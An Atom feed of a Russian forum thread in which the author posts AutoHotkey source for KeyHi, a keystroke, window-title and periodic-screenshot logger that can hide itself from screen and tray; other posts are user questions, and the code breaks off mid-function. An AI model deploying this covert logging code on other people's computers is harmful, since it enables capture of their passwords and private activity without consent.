<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title type="html"><![CDATA[Серый форум &mdash; AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
	<link rel="self" href="http://forum.script-coding.com/extern.php?action=feed&amp;tid=8432&amp;type=atom" />
	<updated>2014-11-09T16:16:29Z</updated>
	<generator>PunBB</generator>
	<id>http://forum.script-coding.com/viewtopic.php?id=8432</id>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=88178#p88178" />
			<content type="html"><![CDATA[<p>Может.</p>]]></content>
			<author>
				<name><![CDATA[teadrinker]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=24515</uri>
			</author>
			<updated>2014-11-09T16:16:29Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=88178#p88178</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=88177#p88177" />
			<content type="html"><![CDATA[<p>А у меня другой вопрос. Можно сказать прямо противоположный теме.<br />Допустим, я написал крохотный скрипт, который одним кликом вводит логин и пароль в какую нибудь форму ввода данных. Может ли обычный кейлоггер перехватить их?</p>]]></content>
			<author>
				<name><![CDATA[vospa]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=30538</uri>
			</author>
			<updated>2014-11-09T15:25:40Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=88177#p88177</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=87334#p87334" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>v63 пишет:</cite><blockquote><p>Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.</p></blockquote></div><p>И у меня также. У меня Win XP</p>]]></content>
			<author>
				<name><![CDATA[avens]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=24487</uri>
			</author>
			<updated>2014-10-14T10:12:13Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=87334#p87334</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=87155#p87155" />
			<content type="html"><![CDATA[<p>Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.</p>]]></content>
			<author>
				<name><![CDATA[v63]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=32233</uri>
			</author>
			<updated>2014-10-11T11:13:10Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=87155#p87155</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=75502#p75502" />
			<content type="html"><![CDATA[<p><strong>ZIGGIPUIT</strong> Какой файл запускаете?</p>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-09-23T07:08:51Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=75502#p75502</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=75385#p75385" />
			<content type="html"><![CDATA[<p>Производится запуск программки а окно не показывается....почему так7</p>]]></content>
			<author>
				<name><![CDATA[ZIGGIPUIT]]></name>
			</author>
			<updated>2013-09-15T14:18:53Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=75385#p75385</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=74137#p74137" />
			<content type="html"><![CDATA[<p>Хорошо, вечером.<br />В шапке.</p>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-07-31T10:58:11Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=74137#p74137</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=74136#p74136" />
			<content type="html"><![CDATA[<p>Да просто копировать много текста. Выложите в архиве отдельными файлами.</p>]]></content>
			<author>
				<name><![CDATA[serzh82saratov]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=27879</uri>
			</author>
			<updated>2013-07-31T08:28:06Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=74136#p74136</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=74135#p74135" />
			<content type="html"><![CDATA[<p>Могу, а что мешает скомпилировать?</p>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-07-31T08:25:03Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=74135#p74135</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=74128#p74128" />
			<content type="html"><![CDATA[<p>Можете выложить одним файлом?</p>]]></content>
			<author>
				<name><![CDATA[serzh82saratov]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=27879</uri>
			</author>
			<updated>2013-07-30T19:26:11Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=74128#p74128</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=73316#p73316" />
			<content type="html"><![CDATA[<p>Исправил функцию в&nbsp; Function.ahk (некорректно определялось текущее расширение после обновления GUI)<br /></p><div class="codebox"><pre><code>Расш: ; определение Radio для включения
IniRead, ext, %ini%, Screen, ext, jpg    
    StringSplit, ex, extall, |
    Loop %ex0%
        If ext = % ex%A_Index%
            Chec%A_Index% = Checked1
        Else
            Chec%A_Index% =
Return</code></pre></div>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-06-26T17:56:44Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=73316#p73316</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=73310#p73310" />
			<content type="html"><![CDATA[<p>Краткое описание:<br />Запись в лог нажатий клавиш/символов (отключаемо).<br />Открытие лога в браузере.<br />Сохранение скриншотов через определенный промежуток времени 1 мин - 24 ч. (отключаемо).<br />Выбор формата скриншотов (jpg, bmp, gif, png, tif) и качества (50% - 99%).<br />Отключение записи скриншотов при бездействии компьютера 1 ч. - 23 ч. (отключаемо).<br />Запись заголовков открываемых окон (отключаемо).<br />Отключение хранителя экрана (посылает через определенный интервал нажатия клавиши Alt).<br />Выключатель работы программы.<br />Скрытие программы с экрана и из трея.<br />Запоминание местоположения окна программы.<br /></p><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;KeyHi.ahk</div><div class="fancy_spoiler"><p>; -------------------------- Переменные<br />ini = config.ini<br />Title = KeyHi<br />OutDirectory := A_ScriptDir &quot;\Screenshots&quot;<br />OutDirectoryLog := A_ScriptDir &quot;\Keys&quot;<br />WinPeriod = 1000<br />extall = jpg|bmp|gif|png|tif<br />#include, KeysCode.ahk<br />IfNotExist %OutDirectory%<br />&nbsp; &nbsp; FileCreateDir %OutDirectory%<br />IfNotExist %OutDirectoryLog%<br />&nbsp; &nbsp; FileCreateDir %OutDirectoryLog%	<br />; -------------------------- Чтение параметров<br />But1 := Надпись()<br />IniRead, On, %ini%, Параметры, On, 0<br />; -------------------------- Чтение параметров клавиатуры<br />IniRead, Keys, %ini%, Keys, Keys, 0<br />IniRead, Simvols, %ini%, Keys, Simvols, 0<br />; -------------------------- Чтение параметров скриншотов<br />IniRead, SaveScreen, %ini%, Screen, SaveScreen, 0<br />IniRead, Win, %ini%, Windows, Win, 0<br />IniRead, ext, %ini%, Screen, ext, jpg ; формат скриншотов<br />IniRead, Quality, %ini%, Screen, Качество, 70<br />IniRead, Period, %ini%, Screen, Период, 300000 ; 5 мин по умолчанию<br />IniRead, Period_Sl, %ini%, Screen, ПериодСлайдер, 5 ; для слайдера<br />	Gosub Period<br />IniRead, OffPeriod_visual, %ini%, Screen, Период бездействия слайдер, 1<br />IniRead, OffPeriod, %ini%, Screen, Период бездействия, 3600000<br />IniRead, Бездействие, %ini%, Screen, Отключить при бездействии, 1<br />IniRead, Хранитель, %ini%, Screen, Отключить хранитель экрана, 0<br />	Gosub ОтключитьХранитель<br />; --------------------- <br />If On = 1<br />	{<br />&nbsp; &nbsp; If SaveScreen = 1<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, PrintScreen, %Period%&nbsp; &nbsp; ; вкл снятие скриншотов<br />	If Keys = 1<br />		SetTimer, Write, 100<br />	If Win = 1<br />		SetTimer, Windows, %WinPeriod%<br />	}<br />; --------------------- Меню в трее<br />Menu, tray, Tip, %Title%<br />Menu, tray, NoStandard<br />menu, tray, add, Показать<br />menu, tray, Default, Показать<br />menu, tray, add<br />menu, tray, add, Справка<br />menu, tray, add, О программе..., О<br />menu, tray, add<br />menu, tray, add, Выход<br />Menu, Tray, Click, 1<br />; -------------------------- Gui скрыть/показать<br />Показать:<br />Gosub Расш ; определение Radio для включения<br />IfWinExist, %Title%<br />&nbsp; &nbsp; {<br />	WriteSizeIni(ini)<br />&nbsp; &nbsp; Gui, Destroy<br />&nbsp; &nbsp; Return<br />&nbsp; &nbsp; }<br />; -------------------------- Чтение параметров окна программы<br />ReadSizeIni(ini)<br />; -------------------------- Gui<br />Gui, Add, GroupBox, Section w400 h86 Center, Клавиатура <br />Gui, Add, Checkbox, xp+8 yp+14 Checked%Keys% vKeys gСохранить, Записывать клавиши<br />Gui, Add, Checkbox, y+8 Checked%Simvols% vSimvols gСохранить, Записывать символы<br />Gui, Add, Button, y+8 gОткрытьЛог, Открыть лог<br />Gui, Add, GroupBox, xs w400 h162 Center, Скриншоты <br />Gui, Add, Checkbox, xs+8 yp+14 Checked%SaveScreen% vSaveScreen gСохранить, Сохранять скриншоты<br />Gui, Add, Text, y+8 w50, Формат:<br />Loop 5<br />&nbsp; &nbsp; Gui, Add, Radio, % Chec%A_Index% &quot; gСохранить x+8&quot;, % ex%A_Index%<br />Gui, Add, Text, xs+8 y+10 w50, Качество:<br />Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range50-100 AltSubmit vQuality gСохранить, %Quality% ; качество изображений<br />Gui, Add, Text, x+5 yp+5 w50 vTQ, % Quality &quot;%&quot;<br />Gui, Add, Text, xs+8&nbsp; y+12 w50, Период:<br />Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range1-107 AltSubmit vPeriod_Sl gСохранить, %Period_Sl% ; период между снимками<br />Gui, Add, Text, x+5 yp+5 w50, %Period_visual%<br />Gui, Add, Checkbox, xs+8 y+12 Checked%Бездействие% gСохранить vБездействие, Откл. при бездействии более<br />Gui, Add, Slider, x+5 yp-5 w150 Center NoTicks Thick20 Range1-23 AltSubmit vOffPeriod_visual gСохранить, %OffPeriod_visual% ; период между снимками<br />Gui, Add, Text, x+5 yp+5 w50, %OffPeriod_visual% ч.<br />Gui, Add, Button, xs+8 y+8 gОткрытьПапку, Открыть папку<br />Gui, Add, GroupBox, xs w400 h36 Center, Окна <br />Gui, Add, Checkbox, xp+8 yp+14 Checked%Win% vWin gСохранить, Записывать открываемые окна<br />Gui, Add, Checkbox, x10 y+18 Checked%Хранитель% gСохранить vХранитель, Отключить хранитель экрана<br />Gui, Add, Button, x10 y+10 w80 gВключить, %But1%<br />Gui, Add, Button, x+5 wp gСкрыть, Скрыть<br />Gui, Add, Button, x+5 wp gВыход, Закрыть<br />Gui, +AlwaysOnTop<br />Gui, Show, %Position%, %Title%<br />Return<br />^!SC01F:: ; отображение значка в трее<br />Gosub Показать<br />Menu, Tray, Icon<br />Return<br />; -------------------------- Запись в ini-файл<br />Сохранить:<br />&nbsp; &nbsp; Gui, Submit, NoHide<br />	IniRead, On, %ini%, Параметры, On, 0&nbsp; <br />&nbsp; &nbsp; If A_GuiControl = Win ; --------------------------- Вкл/выкл запись открытых окон<br />		{<br />		IniWrite, %Win%, %ini%, Windows, Win<br />		If On = 1<br />			If Win = 1<br />				SetTimer, Windows, %WinPeriod%<br />		If Win = 0<br />			SetTimer, Windows, off		<br />		}<br />&nbsp; &nbsp; If A_GuiControl = Keys ; --------------------------- Вкл/выкл запись клавиш<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />		IniWrite, %Keys%, %ini%, Keys, Keys<br />		If On = 1<br />			If Keys = 1<br />				SetTimer, Write, 100<br />		If Keys = 0<br />			SetTimer, Write, off<br />		}<br />&nbsp; &nbsp; If A_GuiControl = Simvols ; --------------------------- Вкл/выкл запись символов<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />		IniWrite, %Simvols%, %ini%, Keys, Simvols<br />		}		<br />&nbsp; &nbsp; If A_GuiControl = SaveScreen ; --------------------------- Вкл/выкл скриншоты<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; If SaveScreen = 0<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetTimer, PrintScreen, off ; выкл снятие скриншотов<br />&nbsp; &nbsp; &nbsp; &nbsp; If On = 1<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If SaveScreen = 1<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %SaveScreen%, %ini%, Screen, SaveScreen<br />&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; <br />&nbsp; &nbsp; If A_GuiControl = Quality<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %Quality%, %ini%, Screen, Качество ; Качество скриншота<br />&nbsp; &nbsp; &nbsp; &nbsp; ControlSetText, static3, % Quality &quot;%&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; If A_GuiControl = Period_Sl ; Период&nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; Gosub Period<br />&nbsp; &nbsp; &nbsp; &nbsp; ControlSetText, static5, %Period_visual%, %Title%<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; If A_GuiControl = Бездействие ; Отключить при бездействии<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %Бездействие%, %ini%, Screen, Отключить при бездействии<br />&nbsp; &nbsp; If A_GuiControl = OffPeriod_visual ; Период бездействия<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; ControlSetText, static6, %OffPeriod_visual% ч., %Title%<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %OffPeriod_visual%, %ini%, Screen, Период бездействия слайдер<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, % OffPeriod_visual*3600000, %ini%, Screen, Период бездействия<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; If A_GuiControl = Хранитель ; Отключить хранитель экрана<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; Gosub ОтключитьХранитель<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %Хранитель%, %ini%, Screen, Отключить хранитель экрана<br />&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; If InStr(extall, A_GuiControl) &gt; 0&nbsp; ; Расширение файла скриншота<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; ext := A_GuiControl<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, %ext%, %ini%, Screen, ext&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />Return<br />; -------------------------- Включить/выкл программу<br />Включить:<br />&nbsp; &nbsp; If A_GuiControl = Включить<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов<br />&nbsp; &nbsp; &nbsp; &nbsp; Gosub ОтключитьХранитель ; вкл/откл хранитель экрана<br />		If Keys = 1<br />			SetTimer, Write, 100<br />		If Win = 1<br />			SetTimer, Windows, %WinPeriod%<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, 1, %ini%, Параметры, On<br />&nbsp; &nbsp; &nbsp; &nbsp; ControlSetText, Включить, Выключить<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; Else<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; IniWrite, 0, %ini%, Параметры, On&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp; &nbsp; &nbsp; &nbsp; ControlSetText, Выключить, Включить<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, PrintScreen, off ; выкл снятие скриншотов<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, ПосылКлавиши, off ; отключить хранитель экрана<br />		SetTimer, Windows, off ; отключить запись открываемых окон<br />		SetTimer, Write, off<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />Return<br />; -------------------------- Выход<br />Выход:<br />	WriteSizeIni(ini)<br />&nbsp; &nbsp; ExitApp<br />; --------------------------<br />#include, Function.ahk<br />#include, PrintScreen.ahk<br />#include, Keyboard.ahk<br />#include, MoveGUI.ahk<br />#include, Windows.ahk<br />#include, Help.ahk</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;KeysCode.ahk</div><div class="fancy_spoiler"><p>All =<br />|SC001=[ESC]<br />|SC03B=[F1]<br />|SC03C=[F2]<br />|SC03D=[F3]<br />|SC03E=[F4]<br />|SC03F=[F5]<br />|SC040=[F6]<br />|SC041=[F7]<br />|SC042=[F8]<br />|SC043=[F9]<br />|SC044=[F10]<br />|SC057=[F11]<br />|SC058=[F12]<br />|SC00F=[Tab]<br />|SC03A=[Caps Lock]<br />|SC02A=[Shift]<br />|SC01D=[Ctrl]<br />|SC15B=[Left Windows]<br />|SC038=[Alt]<br />|SC039=[Space]<br />|SC138=[Right Alt]<br />|SC15C=[Right Windows]<br />|SC15D=[Application]<br />|SC11D=[Right Ctrl]<br />|SC136=[Right Shift]<br />|SC01C=[Enter]<br />|SC00E=[Backspace]<br />|SC137=[PrtScrn]<br />|SC046=[Scroll Lock]<br />|SC045=[Pause]<br />|SC152=[Insert]<br />|SC147=[Home]<br />|SC149=[Page Up]<br />|SC153=[Delete]<br />|SC14F=[End]<br />|SC151=[Page Down]<br />|SC145=[Num Lock]<br />|SC11C=[Num Enter]<br />|SC01C=[Enter]<br />|SC053=[Num Del]<br />|SC148=[Up]<br />|SC14B=[Left]<br />|SC150=[Down]<br />|SC14D=[Right] |</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;Function.ahk</div><div class="fancy_spoiler"><p>; --------------------- Чтение файла лога<br />ОткрытьЛог:<br />Log := OutDirectoryLog &quot;\&quot; A_YYYY A_MM A_DD &quot;_log.txt&quot;<br />LogHTML := OutDirectoryLog &quot;\&quot; A_YYYY A_MM A_DD &quot;.html&quot;<br />IfNotExist, %Log% ; если файл не существует, выходим<br />	Return<br />IfExist, %LogHTML% ; если файл существует, удаляем<br />	FileDelete,&nbsp; %LogHTML%<br />Loop, read, %Log%<br />	{<br />	if !A_LoopReadLine ; если строка пустая, пропускаем<br />		Continue<br />	RegExMatch(A_LoopReadLine, &quot;\((.*)\|(.*)\|(.*)\)(.*)&quot;, tl) ; время/класс окна/заголовок окна/клавиши<br />	; tx := ReText(tl4) ; для кодового текста<br />	FileAppend, &lt;h3&gt;&lt;Font Color=Blue&gt;%tl1% | %tl2%&lt;/font&gt;&lt;BR&gt;`n&lt;h4&gt; %tl4% `n, %LogHTML% ; формируем документ<br />	}<br />	Run %LogHTML% ; открыть документ в браузере<br />Return<br />; --------------------- Перебор символов в строке (для кодового текста)<br />ReText(txt)<br />	{<br />	Loop, parse, txt, ] ; сплит строки по символу ]<br />		{<br />		StringRight, Lang, A_LoopField, 1<br />		If Lang not contains E,R ; проверка ошибки<br />			Continue<br />		RegExMatch(A_LoopField, &quot;(.*)\[&quot;, sm) ; получаем код символа 02A		<br />		txtAll .= ReadFile(sm1, Lang) ; чтение из файла символов		<br />		}<br />	Return txtAll<br />	}<br />; -------------------------- Надпись кнопки<br />Надпись()<br />&nbsp; &nbsp; {&nbsp; &nbsp;<br />&nbsp; &nbsp; global ini<br />&nbsp; &nbsp; IniRead, OnOff, %ini%, Параметры, On, 0<br />&nbsp; &nbsp; Return&nbsp; &nbsp; &nbsp;OnOff = 0 ? &quot;Включить&quot; : &quot;Выключить&quot;<br />&nbsp; &nbsp; }<br />; -------------------------- Скрыть окно программы<br />Скрыть:<br />	MsgBox, 262192, Внимание!, Программа будет скрыта. Для показа иконки в трее нажмите Ctrl+Alt+S<br />	Menu, Tray, NoIcon<br />GuiClose:<br />	; Gui, Submit, NoHide<br />	WriteSizeIni(ini)<br />&nbsp; &nbsp; Gui, Destroy<br />Return<br />; -------------------------- <br />ПосылКлавиши:<br />&nbsp; &nbsp; Send {Alt}<br />Return<br />; -------------------------- Открыть папку скриншотов<br />ОткрытьПапку:<br />&nbsp; &nbsp; Run %OutDirectory%<br />Return<br />; -------------------------- <br />Расш: ; определение Radio для включения<br />IniRead, ext, %ini%, Screen, ext, jpg&nbsp; &nbsp; <br />&nbsp; &nbsp; StringSplit, ex, extall, |<br />&nbsp; &nbsp; Loop %ex0%<br />&nbsp; &nbsp; &nbsp; &nbsp; If ext = % ex%A_Index%<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Chec%A_Index% = Checked1<br />	Else<br />	&nbsp; &nbsp; Chec%A_Index% = <br />Return<br />; -------------------------- <br />ОтключитьХранитель:<br />&nbsp; &nbsp; If Хранитель = 1<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, ПосылКлавиши, 300000<br />&nbsp; &nbsp; Else<br />&nbsp; &nbsp; &nbsp; &nbsp; SetTimer, ПосылКлавиши, off<br />Return<br />; -------------------------- <br />Period:<br />&nbsp; &nbsp; If Period_Sl Between 1 AND 59<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; Period_visual := Period_Sl &quot; мин.&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; Period := Period_Sl*60000<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; Else<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; Period_visual := Floor(Period_Sl/2-29) &quot; ч.&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; Period := Floor(Period_Sl/2-29)*3600000<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; IniWrite, %Period%, %ini%, Screen, Период<br />&nbsp; &nbsp; IniWrite, %Period_Sl%, %ini%, Screen, ПериодСлайдер&nbsp; &nbsp; <br />Return<br />ПереносСтроки()<br />	{<br />	global OutDirectoryLog, Log<br />	n = 0 ; метка для определения пуст ли файл<br />	WinGet, Active_Window_ID, ID, A ; получаем ID активного окна<br />	WinGetTitle, TitleMy, ahk_id %Active_Window_ID%<br />	WinGetClass, Class, ahk_id %Active_Window_ID%<br />	Loop, read, %OutDirectoryLog%\%Log% <br />		{<br />		n := A_Index<br />		LastStr := A_LoopReadLine<br />		}<br />	If LastStr not contains %Class%<br />		{<br />		FormatTime, DateTime,, yyyy.MM.dd. HH:mm<br />		nn := n &gt; 0 ? &quot;`n&quot; : &quot;&quot; ; определить надо ли переносить строку<br />		FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%<br />		}<br />	}<br />Write:<br />	Input, Key, B C L1 V,<br />	ПереносСтроки()<br />	Log := A_YYYY A_MM A_DD &quot;_log.txt&quot; ; имя лога<br />	FileAppend, %Key%, %OutDirectoryLog%\%Log% ; запись символа в лог<br />	; ToolTip, -%Key%-<br />Return</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;PrintScreen.ahk</div><div class="fancy_spoiler"><p>PrintScreen:<br />&nbsp; &nbsp; If Бездействие = 1<br />&nbsp; &nbsp; &nbsp; &nbsp; If A_TimeIdle &gt; OffPeriod*3600000<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Return<br />&nbsp; &nbsp; if !DllCall(&quot;GetModuleHandle&quot;, Str, &quot;gdiplus&quot;)<br />&nbsp; &nbsp; &nbsp; &nbsp; DllCall(&quot;LoadLibrary&quot;, Str, &quot;gdiplus&quot;)<br />&nbsp; &nbsp; VarSetCapacity(si, 16, 0), si := Chr(1)<br />&nbsp; &nbsp; DllCall(&quot;gdiplus\GdiplusStartup&quot;, &quot;uint*&quot;, pToken, UInt, &amp;si, UInt, 0)<br />&nbsp; &nbsp; Critical<br />&nbsp; &nbsp; OutFileName := A_Year&nbsp; A_MM&nbsp; A_DD &quot;-&quot; A_Hour A_Min A_Sec (HighSpeed ? &quot;-&quot; A_MSec : &quot;&quot;)<br />&nbsp; &nbsp; CaptureScreen(0, OutDirectory &quot;\&quot; OutFileName &quot;.&quot; ext, Quality, 0)<br />Return</p><p>CaptureScreen(aRect, sFile, nQuality, Cursor)<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; pBitmap := BitmapFromScreen(aRect, Cursor, 0x40000000 | 0x00CC0020)<br />&nbsp; &nbsp; SaveBitmapToFile(pBitmap, sFile, nQuality)<br />&nbsp; &nbsp; DllCall(&quot;gdiplus\GdipDisposeImage&quot;, UInt, pBitmap)<br />&nbsp; &nbsp; }</p><p>BitmapFromScreen(Screen, Cursor, Raster=&quot;&quot;)<br />&nbsp; &nbsp; {<br />&nbsp; &nbsp; if (Screen = 0)<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; Sysget, x, 76<br />&nbsp; &nbsp; &nbsp; &nbsp; Sysget, y, 77<br />&nbsp; &nbsp; &nbsp; &nbsp; Sysget, w, 78<br />&nbsp; &nbsp; &nbsp; &nbsp; Sysget, h, 79<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; else<br />&nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StringSplit, S, Screen, |<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x := S1, y := S2, w := S3, h := S4<br />&nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; chdc := DllCall(&quot;CreateCompatibleDC&quot;, UInt, 0)<br />&nbsp; &nbsp; VarSetCapacity(bi, 40, 0) <br />&nbsp; &nbsp; NumPut(w, bi, 4), NumPut(h, bi, 8), NumPut(40, bi, 0), NumPut(1, bi, 12, &quot;ushort&quot;)<br />&nbsp; &nbsp; NumPut(0, bi, 16), NumPut(32, bi, 14, &quot;ushort&quot;)<br />&nbsp; &nbsp; hbm := DllCall(&quot;CreateDIBSection&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; , UInt , chdc, UInt , &amp;bi, UInt , 0, &quot;uint*&quot;, 0, UInt , 0, UInt , 0)<br />&nbsp; &nbsp; obm := DllCall(&quot;SelectObject&quot;, UInt, chdc, UInt, hbm)<br />&nbsp; &nbsp; hhdc := DllCall(&quot;GetDC&quot;, UInt, 0)<br />&nbsp; &nbsp; DllCall(&quot;gdi32\BitBlt&quot;, UInt, chdc, Int, 0, Int, 0, Int, w, Int, h<br />&nbsp; &nbsp; &nbsp; &nbsp; , UInt, hhdc, Int, x, Int, y, UInt, Raster)<br />&nbsp; &nbsp; DllCall(&quot;ReleaseDC&quot;, UInt, 0, UInt, hhdc)<br />&nbsp; &nbsp; DllCall(&quot;gdiplus\GdipCreateBitmapFromHBITMAP&quot;, UInt, hbm, UInt, 0, &quot;uint*&quot;, pBitmap)<br />&nbsp; &nbsp; DllCall(&quot;SelectObject&quot;, UInt, chdc, 